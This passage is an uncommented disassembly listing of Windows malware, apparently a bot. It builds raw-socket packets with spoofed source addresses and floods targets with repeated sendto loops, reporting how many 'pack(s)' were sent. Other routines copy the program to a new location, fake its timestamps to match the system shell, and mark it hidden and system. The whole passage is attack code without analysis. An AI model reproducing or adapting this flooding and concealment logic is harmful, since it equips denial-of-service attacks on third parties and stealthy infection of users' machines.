XREF: sub_426C45+35j xor eax, eax pop esi inc eax leave retn 8 sub_426C45 endp ; =============== S U B R O U T I N E ======================================= sub_426CEB proc near ; CODE XREF: sub_40A9FE+27D8p arg_0 = dword ptr 4 push [esp+arg_0] and dword_6607E8, 0 push offset sub_426B9F call dword_456FEC ; EnumWindows push [esp+arg_0] push offset sub_426C45 call dword_456FEC ; EnumWindows mov eax, dword_6607E8 retn sub_426CEB endp ; --------------------------------------------------------------------------- loc_426D16: ; CODE XREF: .text:00436663j ; .text:0043666Bj ... mov eax, [ecx] test eax, eax jz short locret_426D22 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_426D22: ; CODE XREF: .text:00426D1Aj retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426D23 proc near ; CODE XREF: sub_42757B+8Ap var_100 = byte ptr -100h push ebp mov ebp, esp sub esp, 100h push esi lea eax, [ebp+var_100] push 100h push eax call dword_4372E0 ; gethostname lea eax, [ebp+var_100] push eax call dword_4372A4 ; gethostbyname mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] and esi, 0FFFFFFh call sub_429B9C cdq mov ecx, 0FFh idiv ecx mov eax, edx shl eax, 18h or eax, esi pop esi leave retn sub_426D23 endp ; =============== S U B R O U T I N E ======================================= sub_426D70 proc near ; CODE XREF: sub_42757B+5Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi push 10h push 0 push esi call sub_429760 add esp, 0Ch mov word ptr [esi], 2 push [esp+8+arg_0] call dword_4372C0 ; inet_addr lea edi, [esi+4] cmp eax, 0FFFFFFFFh mov [edi], eax jnz short loc_426DC4 push [esp+8+arg_0] call dword_4372A4 ; gethostbyname test eax, eax jz short loc_426DD2 mov cx, [eax+8] mov [esi], cx movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] push edi call sub_429420 add esp, 0Ch loc_426DC4: ; CODE XREF: sub_426D70+2Aj push [esp+8+arg_4] call dword_4372C4 ; ntohs mov [esi+2], ax loc_426DD2: ; CODE XREF: sub_426D70+38j xor eax, eax pop edi inc eax pop esi retn sub_426D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426DD8 proc near ; CODE XREF: sub_4273E5+109p ; sub_4273E5+14Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp ecx, 1 mov [ebp+var_4], esi jle short loc_426E07 lea eax, [ecx-2] push edi shr eax, 1 inc eax lea edi, [eax+eax] sub ecx, edi loc_426DF9: ; CODE XREF: sub_426DD8+29j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec eax jnz short loc_426DF9 pop edi cmp ecx, 1 loc_426E07: ; CODE XREF: sub_426DD8+13j jnz short loc_426E14 mov al, [edx] mov byte ptr [ebp+var_4], al movzx eax, word ptr [ebp+var_4] add esi, eax loc_426E14: ; CODE XREF: sub_426DD8:loc_426E07j mov ecx, esi and esi, 0FFFFh sar ecx, 20h add ecx, esi pop esi mov eax, ecx sar eax, 20h add eax, ecx not eax leave retn sub_426DD8 endp ; =============== S U B R O U T I N E ======================================= sub_426E2D proc near ; CODE XREF: sub_42757B+94p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp push esi push edi call sub_429B9C cdq mov ecx, 9C40h mov ebp, 5DCh idiv ecx push ebp push 1 add edx, 1F4h mov [esp+1Ch+var_4], edx call sub_42B39A mov ebx, dword_4372C4 pop ecx pop ecx mov esi, eax push ebp or byte ptr [esi+14h], 0FFh lea edi, [esi+20h] mov byte ptr [esi], 4 mov byte ptr [esi+0Ch], 8 call ebx ; dword_4372C4 push [esp+14h+var_4] mov [esi+4], ax mov byte ptr [esi+15h], 2 call ebx ; dword_4372C4 push 2000h mov [esi+8], ax call ebx ; dword_4372C4 mov [esi+0Eh], ax mov eax, [esp+14h+arg_4] mov [esi+18h], eax mov eax, [esp+14h+arg_0] push 20h push esi mov eax, [eax+4] mov [esi+1Ch], eax call sub_41E3E8 push 10h mov [esi+16h], ax and byte ptr [edi], 0 and dword ptr [edi+4], 0 push edi call sub_41E3E8 add esp, 10h mov [edi+2], ax push 31h pop edi loc_426EC4: ; CODE XREF: sub_426E2D+AAj call sub_429B9C cdq mov ecx, 0DCh idiv ecx mov [edi+esi], dl inc edi cmp edi, ebp jl short loc_426EC4 push 0FFh push 3 push 2 call dword_4372BC ; socket test eax, eax mov [esp+14h+arg_4], eax jl short loc_426F59 push 10h push [esp+18h+arg_0] push 0 push ebp push esi push eax call dword_437294 ; sendto cmp eax, 0FFFFFFFFh jnz short loc_426F0A xor eax, eax jmp short loc_426F5C ; --------------------------------------------------------------------------- loc_426F0A: ; CODE XREF: sub_426E2D+D7j mov edi, 5C8h loc_426F0F: ; CODE XREF: sub_426E2D+119j mov eax, edi sar eax, 3 cmp edi, 1158h jg short loc_426F1F or ah, 20h loc_426F1F: ; CODE XREF: sub_426E2D+EDj push eax call ebx ; dword_4372C4 push 10h mov [esi+0Eh], ax push [esp+18h+arg_0] push 0 push ebp push esi push [esp+28h+arg_4] call dword_437294 ; sendto add edi, 5C8h cmp edi, 1CE8h jl short loc_426F0F push esi call sub_4298F2 pop ecx push [esp+14h+arg_4] call dword_4372D8 ; closesocket loc_426F59: ; CODE XREF: sub_426E2D+C1j xor eax, eax inc eax loc_426F5C: ; CODE XREF: sub_426E2D+DBj pop edi pop esi pop ebp pop ebx pop ecx retn sub_426E2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426F62 proc near ; CODE XREF: sub_426FB8+1EFp ; sub_426FB8+249p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_4] xor edx, edx push esi mov esi, [ebp+arg_0] cmp ecx, 1 mov [ebp+arg_4], edx jle short loc_426F8F lea eax, [ecx-2] push edi shr eax, 1 inc eax lea edi, [eax+eax] sub ecx, edi loc_426F82: ; CODE XREF: sub_426F62+27j movzx edi, si add edx, edi inc esi dec eax jnz short loc_426F82 pop edi cmp ecx, 1 loc_426F8F: ; CODE XREF: sub_426F62+12j jnz short loc_426F9F movzx eax, si mov al, [eax] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add edx, eax loc_426F9F: ; CODE XREF: sub_426F62:loc_426F8Fj mov ecx, edx and edx, 0FFFFh sar ecx, 20h add ecx, edx pop esi mov eax, ecx sar eax, 20h add eax, ecx not eax pop ebp retn sub_426F62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426FB8 proc near ; CODE XREF: sub_42757B+173p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi xor ebx, ebx mov esi, 2000h xor eax, eax lea edi, [ebp+var_C] mov [ebp+var_30], ebx mov [ebp+var_2C], ebx mov [ebp+var_28], ebx mov [ebp+var_24], esi mov [ebp+var_20], 800h mov [ebp+var_1C], 80h mov [ebp+var_18], 1000h mov [ebp+var_14], 1 mov [ebp+var_10], ebx stosd mov [ebp+var_4], ebx call sub_429B9C push 100h push [ebp+arg_14] call dword_4372E0 ; gethostname push [ebp+arg_14] call dword_4372A4 ; gethostbyname mov eax, [eax+0Ch] mov eax, [eax] mov edi, [eax] and edi, 0FFFFFFh call sub_429B9C cdq mov ecx, 0FFh idiv ecx shl edx, 18h or edi, edx call sub_429B9C cdq idiv esi mov al, byte_675F54 and al, 0E5h or al, 5 mov byte_675F54, al mov [ebp+var_8], edx call sub_429B9C push 0Ah mov esi, dword_4372C4 cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_30] push eax call esi ; dword_4372C4 push ebx mov word_675F56, ax call esi ; dword_4372C4 push ebx mov word_675F68, ax call esi ; dword_4372C4 push 5Ch mov word_675F6A, ax mov byte_675F48, 14h mov byte ptr word_675F4A, bl call esi ; dword_4372C4 mov word_675F4C, ax call sub_429B9C cdq mov ecx, 0ED60h idiv ecx add edx, 396h push edx call esi ; dword_4372C4 mov word_675F50, ax mov eax, [ebp+arg_4] mov byte_675F5C, 80h mov byte_675F5D, 6 mov word_675F5E, bx mov dword_675F60, edi mov dword_675F64, eax call sub_429B9C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call esi ; dword_4372C4 push [ebp+arg_18] mov word_675F6C, ax call esi ; dword_4372C4 push 20000000h mov word_675F6E, ax call dword_4372E4 ; ntohl mov dword_675F70, eax mov eax, dword_675F7C and al, 5Fh mov dword_675F74, ebx or al, 50h mov byte_675FA2, bl mov dword_675F7C, eax call sub_429B9C push 3 cdq pop ecx idiv ecx mov dword_675F78, edx call sub_429B9C push 2 mov word_675F94, 4000h cdq pop ecx mov word_675F90, bx idiv ecx mov word_675F96, bx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov byte_675F80, dl call sub_429B9C mov edi, eax shl edi, 10h call sub_429B9C or edi, eax push edi call esi ; dword_4372C4 movzx eax, ax mov edi, offset dword_6737D0 push 68h push ebx push edi mov dword_675F70, eax call sub_429760 mov ebx, offset byte_675F48 push 10h push ebx push edi call sub_429420 mov eax, edi push 10h push eax call sub_426F62 push 8 push offset dword_675F60 push edi mov word_675F4A, ax call sub_429420 push 1 push offset byte_675F5D push offset byte_6737D9 call sub_429420 add esp, 38h push 38h call esi ; dword_4372C4 mov [ebp+var_4], eax lea eax, [ebp+var_4] push 2 push eax push offset word_6737DA call sub_429420 mov eax, offset dword_6737DC push 38h push offset word_675F6C mov esi, eax push eax call sub_429420 push 44h push esi call sub_426F62 add esp, 20h mov word_675F96, ax lea eax, [ebp+arg_0] push 10h push eax push 1 push 5Ch push ebx push [ebp+arg_10] call dword_437294 ; sendto xor eax, eax pop edi pop esi inc eax pop ebx leave retn sub_426FB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42722B proc near ; CODE XREF: sub_42757B+85p var_210 = byte ptr -210h var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_64 = byte ptr -64h var_54 = byte ptr -54h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push ebx push esi mov esi, dword_4372C0 push edi push [ebp+arg_0] call esi ; dword_4372C0 push [ebp+arg_4] mov [ebp+var_30], eax call esi ; dword_4372C0 push 0Eh mov [ebp+arg_4], eax xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_7F] mov [ebp+var_80], bl rep stosd stosw stosb lea eax, [ebp+var_210] push eax push 202h call dword_4372B8 ; WSAStartup test eax, eax jnz short loc_427292 xor esi, esi inc esi push esi push ebx push ebx push 0FFh push 3 push 2 call dword_4372C8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_427299 loc_427292: ; CODE XREF: sub_42722B+48j xor eax, eax jmp loc_4273E0 ; --------------------------------------------------------------------------- loc_427299: ; CODE XREF: sub_42722B+65j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43728C ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4273D5 push 10h lea eax, [ebp+var_44] push ebx push eax call sub_429760 add esp, 0Ch mov [ebp+var_44], 2 call sub_429B9C mov esi, dword_4372C4 push eax call esi ; dword_4372C4 mov edi, [ebp+var_30] push 2Ch mov [ebp+var_42], ax mov [ebp+var_40], edi mov [ebp+var_2C], 47h call esi ; dword_4372C4 push ebx mov [ebp+var_2A], ax call esi ; dword_4372C4 mov [ebp+var_28], ax mov eax, [ebp+arg_4] push ebx mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 2 mov [ebp+var_22], bx mov [ebp+var_2B], bl mov [ebp+var_1C], edi mov [ebp+var_20], eax call esi ; dword_4372C4 push ebx mov [ebp+var_18], ax call esi ; dword_4372C4 push 1 mov [ebp+var_16], ax mov [ebp+var_10], 11h mov [ebp+var_F], 5 call esi ; dword_4372C4 push offset a0_0_0_0 ; "0.0.0.0" mov [ebp+var_6], ax mov [ebp+var_8], bl mov [ebp+var_7], bl call dword_4372C0 ; inet_addr push 10h mov [ebp+var_C], eax pop esi lea eax, [ebp+var_10] push esi push eax lea eax, [ebp+var_80] mov [ebp+var_4], edi push eax mov [ebp+var_E], bx call sub_429420 lea eax, [ebp+var_80] push esi push eax call sub_41E3E8 mov [ebp+var_E], ax lea eax, [ebp+var_2C] push 1Ch push eax lea eax, [ebp+var_80] push eax call sub_429420 lea eax, [ebp+var_10] push esi push eax lea eax, [ebp+var_64] push eax call sub_429420 push 4 lea eax, [ebp+var_54] push ebx push eax call sub_429760 lea eax, [ebp+var_80] push 2Ch push eax call sub_41E3E8 add esp, 40h push eax call dword_4372A8 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 1Ch push eax lea eax, [ebp+var_80] push eax call sub_429420 add esp, 0Ch lea eax, [ebp+var_44] push esi push eax push ebx lea eax, [ebp+var_80] push 2Ch push eax push [ebp+arg_0] call dword_437294 ; sendto xor ebx, ebx inc ebx loc_4273D5: ; CODE XREF: sub_42722B+84j push [ebp+arg_0] call dword_4372D8 ; closesocket mov eax, ebx loc_4273E0: ; CODE XREF: sub_42722B+69j pop edi pop esi pop ebx leave retn sub_42722B endp ; =============== S U B R O U T I N E ======================================= sub_4273E5 proc near ; CODE XREF: sub_42757B+ABp var_194 = dword ptr -194h var_190 = byte ptr -190h arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 194h lea eax, [esp+194h+var_190] push ebx push ebp push esi push edi push eax push 202h call dword_4372B8 ; WSAStartup test eax, eax jnz loc_427558 call sub_429B9C push 38h push 1 call sub_42B39A pop ecx xor edi, edi pop ecx mov esi, eax push 1 push edi push edi push 2 push 3 push 2 call dword_4372C8 ; WSASocketA mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+1A4h+var_194], ebx jz loc_427558 push 38h push edi push esi call sub_429760 mov edi, dword_4372C4 add esp, 0Ch mov byte ptr [esi+0Ch], 5 mov byte ptr [esi], 4 push 7A69h call edi ; dword_4372C4 push 2000h mov [esi+8], ax call edi ; dword_4372C4 mov ebp, [esp+1A4h+arg_8] and byte ptr [esi+15h], 0 mov [esi+0Eh], ax mov eax, [esp+1A4h+arg_4] push 10h push ebp push 0 mov byte ptr [esi+14h], 80h mov [esi+18h], eax mov eax, [ebp+4] push 31h push esi push ebx mov ebx, dword_437294 mov [esi+1Ch], eax and byte ptr [esi+21h], 0 mov byte ptr [esi+20h], 8 call ebx ; dword_437294 cmp eax, 0FFFFFFFFh jz loc_427558 push 38h call edi ; dword_4372C4 push 1 mov [esi+4], ax call edi ; dword_4372C4 push 21D9h mov [esi+0Eh], ax mov byte ptr [esi], 4 call edi ; dword_4372C4 push 2000h mov [esi+8], ax call edi ; dword_4372C4 or [esi+0Eh], ax mov eax, [esp+1A4h+arg_4] or byte ptr [esi+14h], 0FFh and byte ptr [esi+15h], 0 mov [esi+18h], eax mov eax, [ebp+4] push 10h push esi mov [esi+1Ch], eax call sub_426DD8 pop ecx mov [esi+16h], ax pop ecx and byte ptr [esi+21h], 0 push 10h push ebp push 0 push 31h push esi mov byte ptr [esi+20h], 8 push [esp+1B8h+var_194] call ebx ; dword_437294 cmp eax, 0FFFFFFFFh jz short loc_427558 push 38h call edi ; dword_4372C4 push 1 mov [esi+4], ax call edi ; dword_4372C4 push 2000h mov [esi+0Eh], ax call edi ; dword_4372C4 or [esi+0Eh], ax push 20h push esi call sub_426DD8 pop ecx mov [esi+16h], ax pop ecx and byte ptr [esi+20h], 0 and byte ptr [esi+21h], 0 push 10h push ebp push 0 push 34h push esi push [esp+1B8h+var_194] call ebx ; dword_437294 cmp eax, 0FFFFFFFFh jnz short loc_42755C loc_427558: ; CODE XREF: sub_4273E5+1Cj ; sub_4273E5+4Fj ... xor eax, eax jmp short loc_427570 ; --------------------------------------------------------------------------- loc_42755C: ; CODE XREF: sub_4273E5+171j push esi call sub_4298F2 pop ecx push [esp+1A4h+var_194] call dword_4372D8 ; closesocket xor eax, eax inc eax loc_427570: ; CODE XREF: sub_4273E5+175j pop edi pop esi pop ebp pop ebx add esp, 194h retn sub_4273E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42757B proc near ; DATA XREF: sub_40A9FE+7DD1o var_14C = dword ptr -14Ch var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 48h mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd mov dword ptr [eax+11Ch], 1 mov eax, [ebp+var_14C] mov [ebp+var_8], eax lea eax, [ebp+var_148] push eax call sub_41E3EC mov esi, dword_4372BC pop ecx mov edi, 0FFh push edi push 3 push 2 call esi ; dword_4372BC mov [ebp+var_4], eax lea eax, [ebp+var_2C] push eax xor ebx, ebx lea eax, [ebp+var_148] push ebx push eax call sub_426D70 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_427776 cmp [ebp+var_44], ebx mov [ebp+arg_0], ebx jl short loc_427641 mov ebx, offset dword_457CF8 loc_4275F8: ; CODE XREF: sub_42757B+C4j lea eax, [ebp+var_148] push ebx push eax call sub_42722B call sub_426D23 push eax lea eax, [ebp+var_2C] push eax call sub_426E2D add esp, 10h lea eax, [ebp+var_2C] push eax push ebx call sub_41E3EC pop ecx push eax push [ebp+var_4] call sub_4273E5 add esp, 0Ch push 0Ah call dword_437190 ; Sleep inc [ebp+arg_0] mov eax, [ebp+arg_0] cmp eax, [ebp+var_44] jle short loc_4275F8 loc_427641: ; CODE XREF: sub_42757B+76j and [ebp+arg_0], 0 lea eax, [ebp+var_148] push eax call sub_41E3EC mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh jz loc_427776 push 10h lea eax, [ebp+var_1C] push 0 push eax call sub_429760 add esp, 0Ch mov [ebp+var_1C], 2 mov [ebp+var_18], ebx push [ebp+var_48] call dword_4372C4 ; ntohs push 6 push 1 push 2 mov [ebp+var_1A], ax call esi ; dword_4372BC test eax, eax mov [ebp+var_4], eax jl loc_427776 push edi push 3 push 2 call esi ; dword_4372BC test eax, eax mov [ebp+var_C], eax jl loc_427776 lea eax, [ebp+var_1C] push 10h push eax push [ebp+var_4] call dword_4372CC ; connect mov ebx, dword_4372D8 cmp eax, 0FFFFFFFFh jnz short loc_4276C7 push [ebp+var_4] call ebx ; dword_4372D8 loc_4276C7: ; CODE XREF: sub_42757B+145j push 3 call dword_437190 ; Sleep cmp [ebp+var_44], 0 jz short loc_427709 loc_4276D5: ; CODE XREF: sub_42757B+18Cj push [ebp+var_48] lea eax, [ebp+var_148] lea esi, [ebp+var_1C] push eax push [ebp+var_C] sub esp, 10h mov edi, esp movsd movsd movsd movsd call sub_426FB8 add esp, 1Ch push 0Ah call dword_437190 ; Sleep inc [ebp+arg_0] mov eax, [ebp+arg_0] cmp eax, [ebp+var_44] jnz short loc_4276D5 loc_427709: ; CODE XREF: sub_42757B+158j push [ebp+var_4] call ebx ; dword_4372D8 push [ebp+var_3C] call sub_423623 cmp [ebp+var_34], 0 pop ecx mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" mov edi, offset aSsoce0jbtxi ; "sSOce0JbTXI/" mov esi, offset aSSSWithDPackS ; "%s %s (%s) with (%d) pack(s)" jnz short loc_427751 cmp [ebp+var_38], 0 jnz short loc_427757 push [ebp+var_44] lea eax, [ebp+var_148] push eax push ebx push edi lea eax, [ebp+var_C8] push esi push eax push [ebp+var_8] call sub_41CE4A add esp, 1Ch loc_427751: ; CODE XREF: sub_42757B+1AFj cmp [ebp+var_38], 0 jz short loc_427776 loc_427757: ; CODE XREF: sub_42757B+1B5j push [ebp+var_44] lea eax, [ebp+var_148] push eax push ebx push edi lea eax, [ebp+var_C8] push esi push eax push [ebp+var_8] call sub_41CDD4 add esp, 1Ch loc_427776: ; CODE XREF: sub_42757B+6Aj ; sub_42757B+DCj ... pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_42757B endp ; =============== S U B R O U T I N E ======================================= sub_42777F proc near ; CODE XREF: sub_40A935+47p ; sub_41E446+Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, offset asc_43D938 ; " " push edi push esi push [esp+10h+arg_4] call sub_429C5E mov edi, [esp+14h+arg_0] xor ebx, ebx inc ebx pop ecx cmp [esp+10h+arg_8], ebx pop ecx mov [edi], eax jle short loc_4277BA loc_4277A2: ; CODE XREF: sub_42777F+39j push esi push 0 call sub_429C5E pop ecx mov [edi+ebx*4], eax test eax, eax pop ecx jz short loc_4277BA inc ebx cmp ebx, [esp+0Ch+arg_8] jl short loc_4277A2 loc_4277BA: ; CODE XREF: sub_42777F+21j ; sub_42777F+32j pop edi mov eax, ebx pop esi pop ebx retn sub_42777F endp ; =============== S U B R O U T I N E ======================================= sub_4277C0 proc near ; CODE XREF: sub_40A9FE+4BEDp ; sub_40A9FE+4CAEp ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43706C ; GetFileAttributesA xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_4277C0 endp ; =============== S U B R O U T I N E ======================================= sub_4277D5 proc near ; CODE XREF: sub_40A9FE+4CBFp arg_0 = dword ptr 4 push [esp+arg_0] call dword_43706C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_4277E7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4277E7: ; CODE XREF: sub_4277D5+Dj movzx eax, al shr eax, 4 and eax, 1 retn sub_4277D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4277F1 proc near ; CODE XREF: sub_4278B2+EFp var_110 = byte ptr -110h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi push edi lea eax, [ebp+var_110] push 104h push eax call dword_437138 ; GetWindowsDirectoryA push 1 push offset aShell ; "Shell" push offset aSoftwareMicr_5 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_421340 xor ebx, ebx add esp, 10h cmp eax, ebx jz short loc_4278AB push eax lea eax, [ebp+var_110] push eax call dword_437090 ; lstrcatA mov esi, dword_43705C mov edi, 80h push ebx push edi push 3 push ebx push 1 lea eax, [ebp+var_110] push 80000000h push eax call esi ; dword_43705C cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz short loc_4278AB lea ecx, [ebp+var_C] push ecx push ebx push ebx push eax call dword_437134 ; GetFileTime push [ebp+var_4] call dword_437044 ; CloseHandle push ebx push edi push 3 push ebx push 2 push 40000000h push [ebp+arg_0] call esi ; dword_43705C mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4278AB lea eax, [ebp+var_C] push eax push ebx push ebx push esi call dword_437130 ; SetFileTime push esi call dword_437044 ; CloseHandle xor eax, eax inc eax jmp short loc_4278AD ; --------------------------------------------------------------------------- loc_4278AB: ; CODE XREF: sub_4277F1+3Bj ; sub_4277F1+71j ... xor eax, eax loc_4278AD: ; CODE XREF: sub_4277F1+B8j pop edi pop esi pop ebx leave retn sub_4277F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4278B2 proc near ; CODE XREF: sub_418E0F+12Dp ; sub_42245D+99p var_30C = byte ptr -30Ch var_208 = byte ptr -208h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30Ch push ebx push esi mov esi, 104h lea eax, [ebp+var_208] push esi xor ebx, ebx push eax push ebx call dword_437070 ; GetModuleHandleA push eax call dword_43717C ; GetModuleFileNameA push [ebp+arg_4] lea eax, [ebp+var_104] push [ebp+arg_0] push offset dword_445D68 push esi push eax call sub_429BBE add esp, 14h lea eax, [ebp+var_208] push eax lea eax, [ebp+var_30C] push eax call dword_4370B4 ; lstrcpyA lea eax, [ebp+var_30C] push eax call dword_456EAC ; PathRemoveFileSpecA lea eax, [ebp+var_104] push eax lea eax, [ebp+var_208] push eax call dword_437178 ; lstrcmpiA test eax, eax jz loc_4279C0 lea eax, [ebp+var_104] push eax call dword_43706C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_427956 lea eax, [ebp+var_104] push 80h push eax call dword_437068 ; SetFileAttributesA loc_427956: ; CODE XREF: sub_4278B2+90j mov esi, dword_437064 push edi push ebx jmp short loc_427984 ; --------------------------------------------------------------------------- loc_427960: ; CODE XREF: sub_4278B2+E6j call dword_437170 ; RtlGetLastWin32Error test ebx, ebx jnz short loc_42799A cmp eax, 20h jz short loc_427974 cmp eax, 5 jnz short loc_42799A loc_427974: ; CODE XREF: sub_4278B2+BBj xor ebx, ebx push 3A98h inc ebx call dword_437190 ; Sleep push 0 loc_427984: ; CODE XREF: sub_4278B2+ACj lea eax, [ebp+var_104] push eax lea eax, [ebp+var_208] push eax call esi ; dword_437064 mov edi, eax test edi, edi jz short loc_427960 loc_42799A: ; CODE XREF: sub_4278B2+B6j ; sub_4278B2+C0j lea eax, [ebp+var_104] push eax call sub_4277F1 pop ecx lea eax, [ebp+var_104] push 7 push eax call dword_437068 ; SetFileAttributesA test edi, edi pop edi jz short loc_4279C0 xor eax, eax inc eax jmp short loc_4279C2 ; --------------------------------------------------------------------------- loc_4279C0: ; CODE XREF: sub_4278B2+7Aj ; sub_4278B2+107j xor eax, eax loc_4279C2: ; CODE XREF: sub_4278B2+10Cj pop esi pop ebx leave retn sub_4278B2 endp ; =============== S U B R O U T I N E ======================================= sub_4279C6 proc near ; CODE XREF: sub_420B3B+B4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 40h mov edx, offset dword_676018 pop ecx xor eax, eax mov edi, edx rep stosd mov eax, [esp+4+arg_4] pop edi cmp eax, [esp+arg_8] jg short loc_4279F7 push esi mov esi, edx sub esi, eax loc_4279E5: ; CODE XREF: sub_4279C6+2Ej mov ecx, [esp+4+arg_0] mov cl, [eax+ecx] mov [esi+eax], cl inc eax cmp eax, [esp+4+arg_8] jle short loc_4279E5 pop esi loc_4279F7: ; CODE XREF: sub_4279C6+18j mov eax, edx retn sub_4279C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4279FA proc near ; CODE XREF: sub_40A9FE+7A6p ; sub_40A9FE+7C3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_427A87 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_427A87 cmp [ebp+arg_8], esi jz short loc_427A87 cmp byte ptr [eax], 0 jz short loc_427A87 push ebx push edi call sub_4362D0 mov ebx, eax pop ecx test ebx, ebx jz short loc_427A82 push [ebp+arg_4] push edi call sub_42AEA0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_427A7B sub eax, edi push eax push edi push ebx call sub_429D10 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_4293A0 push eax push [ebp+arg_8] push ebx call sub_4299E0 push [ebp+arg_4] call sub_4293A0 add esp, 20h add eax, esi push eax push ebx call dword_437090 ; lstrcatA push ebx push edi call dword_4370B4 ; lstrcpyA mov esi, edi loc_427A7B: ; CODE XREF: sub_4279FA+3Cj push ebx call sub_4298F2 pop ecx loc_427A82: ; CODE XREF: sub_4279FA+2Bj mov eax, esi pop ebx jmp short loc_427A89 ; --------------------------------------------------------------------------- loc_427A87: ; CODE XREF: sub_4279FA+Cj ; sub_4279FA+13j ... xor eax, eax loc_427A89: ; CODE XREF: sub_4279FA+8Bj pop edi pop esi pop ebp retn sub_4279FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427A8D proc near ; CODE XREF: sub_427B4E+38p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov 